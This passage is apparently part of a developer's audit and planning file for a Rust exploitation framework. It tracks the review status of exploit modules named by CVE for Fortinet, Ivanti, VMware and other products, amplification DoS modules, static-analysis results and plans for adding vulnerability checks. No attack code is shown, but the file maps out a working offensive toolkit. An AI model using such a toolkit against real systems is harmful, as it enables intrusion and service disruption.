7. **E7** — dos ×12 (flood + amplification; already gated with `require_root` in A3)
8. **E8** — honeytrap ×2 + snare ×2 + cowrie ×3 + dionaea ×4 + safeline ×6
9. **E9** — crypto ×2 + ftp ×2 + ipmi ×1 + windows ×1 + bluetooth ×1 + payloadgens ×5
10. **E10** — catch-all review + regression pass
## Module status matrix
_Populate during audit. Blank = pending._
### network_infra/
| Module | Status | Notes |
|---|---|---|
| citrix/cve_2025_5777_citrixbleed2 | ⏳ | |
| commvault/cve_2025_34028_commvault_rce | ⏳ | reqwest migrated in B2b |
| f5/cve_2025_53521_f5_bigip_rce | ⏳ | reqwest migrated; fire_results showed `OK_err` classification — verify |
| fortinet/forticloud_sso_auth_bypass_cve_2026_24858 | ⏳ | batch: "Handshake failed" — likely TLS mismatch; review client config |
| fortinet/fortigate_rce_cve_2024_21762 | ⏳ | |
| fortinet/fortimanager_rce_cve_2024_47575 | ⏳ | |
| fortinet/fortios_auth_bypass_cve_2022_40684 | ⏳ | |
| fortinet/fortios_heap_overflow_cve_2023_27997 | ⏳ | batch row flagged `memcached_servers` prompt — likely fire_all_modules.py idx→module misalignment (prompt actually belongs to `exploits/dos/memcached_amplification`). Re-run batch with per-module prompt dicts to verify. |
| fortinet/fortios_ssl_vpn_cve_2018_13379 | ⏳ | same — prompt `ntp_servers` belongs to `dos/ntp_amplification`. |
| fortinet/fortisiem_rce_cve_2025_64155 | ⏳ | tcp_connect_str migrated |
| fortinet/fortiweb_rce_cve_2021_22123 | ⏳ | |
| fortinet/fortiweb_sqli_rce_cve_2025_25257 | ⏳ | |
| hpe/cve_2025_37164_hpe_oneview_rce | ⏳ | reqwest migrated |
| ivanti/cve_2025_0282_ivanti_preauth_rce | ⏳ | reqwest migrated |
| ivanti/cve_2025_22457_ivanti_ics_rce | ⏳ | reqwest migrated |
| ivanti/ivanti_connect_secure_stack_based_buffer_overflow | ⏳ | |
| ivanti/ivanti_epmm_cve_2023_35082 | ⏳ | |
| ivanti/ivanti_ics_auth_bypass_cve_2024_46352 | ⏳ | |
| ivanti/ivanti_neurons_rce_cve_2025_22460 | ⏳ | |
| kubernetes/cve_2025_1974_ingress_nginx_rce | ⏳ | reqwest migrated |
| qnap/qnap_qts_rce_cve_2024_27130 | ⏳ | |
| sonicwall/cve_2025_40602_sonicwall_sma_rce | ⏳ | reqwest migrated |
| trend_micro/cve_2025_5777 | ⏳ | |
| trend_micro/cve_2025_69258 | ⏳ | tcp_connect_str migrated |
| trend_micro/cve_2025_69259 | ⏳ | tcp_connect_str migrated |
| trend_micro/cve_2025_69260 | ⏳ | tcp_connect_str migrated |
| vmware/esxi_auth_bypass_cve_2024_37085 | ⏳ | |
| vmware/esxi_vm_escape_check | ⏳ | |
| vmware/esxi_vsock_client | ⏳ | uses std::net blocking — audit performance |
| vmware/vcenter_backup_rce | ⏳ | |
| vmware/vcenter_file_read | ⏳ | uses std::fs::read_to_string — audit async |
| vmware/vcenter_rce_cve_2024_37079 | ⏳ | |
_…further categories mirrored below; fill in during E2+ sessions…_
## Session log
- **Session 1** (2026-04-17): Phase A1/A2/A3 + B2a + B1 partial (14 sites) + B2b (47 sites) done. Build clean.
- **Session 1 static-analysis**: verified via grep —
- `.unwrap()`: 0 hits across 252 files
- `.expect(...)`: 3 hits, all justified (`src/modules/exploits/vnc/rfb.rs`)
- `panic!`/`todo!`/`unimplemented!`: 0 hits
- `println!`/`eprintln!`/`print!` (MCP stdout-contaminating): 0 hits — all modules use `crate::mprintln!`/`meprintln!`
- `std::process::Command::new`: 8 hits, all in `exploits/bluetooth/wpair.rs` calling `bluetoothctl`/`pacat`/`parecord` — legitimate for bluetooth exploitation
- TODO/FIXME/HACK/XXX/BUG comments: 0 hits
## Revised Phase D1 scope
Actual count needing `check()`: **114 modules** total, breakdown:
- 58 CVE-named modules (highest priority — user probes by CVE)
- 56 non-CVE named
By category (category : missing-check count : CVE-named):
- routers: 29 missing (17 CVE)
- network_infra: 24 missing (19 CVE)
- dos: 13 missing (0 CVE) — **defer all**: flooding == the exploit, check() is indistinguishable
- webapps: 13 missing (9 CVE)
- frameworks: 10 missing (7 CVE)
- ssh: 7 missing (0 CVE)
- cameras: 6 missing (3 CVE)
- payloadgens: 5 missing (0 CVE) — **defer all**: no target, generates local files
- crypto: 2 missing (1 CVE)
- ftp / ipmi / telnet / windows: 4 missing (2 CVE)
**Realistic Phase D1 target: ~96 modules** (114 13 DoS 5 payloadgens). Session D1a: 58 CVE-named first; Session D1b: remaining 38.
Template: see `CHECK_TEMPLATE.md`.
## Revised Phase D2 scope
Static-analysis found far fewer hardcoded consts than the plan's 73 estimate:
- 10 modules: `DEFAULT_PORT` const without `cfg_prompt_port` call
- 5 modules: `DEFAULT_PATH` / `*_PATH` const without `cfg_prompt_default("path", ...)`
- 17 modules: `USER_AGENT` const without prompt (most of these are intentional — UA is a payload choice, not a user-configurable knob)
**Realistic Phase D2 target: ~15 modules** (10 port + 5 path; UA consts deferred as they're usually not user-facing knobs).
Concrete files:
- ports missing prompt: `dos/ssdp_amplification`, `dos/ntp_amplification`, `dos/dns_amplification`, `dos/memcached_amplification`, `webapps/react/react2shell`, `cameras/abus/abussecurity_camera_cve202326609variant1`, `cameras/hikvision/hikvision_rce_cve_2021_36260`, `network_infra/fortinet/fortiweb_sqli_rce_cve_2025_25257`, `frameworks/mongo/mongobleed`, `vnc/rfb.rs`
- paths missing prompt: `webapps/misp_rce_cve_2025_27364`, `webapps/zimbra_sqli_auth_bypass_cve_2025_25064`, `webapps/sharepoint/cve_2025_53770_sharepoint_toolpane_rce`, `network_infra/kubernetes/cve_2025_1974_ingress_nginx_rce`, `network_infra/commvault/cve_2025_34028_commvault_rce`

Some files were not shown because too many files have changed in this diff Show More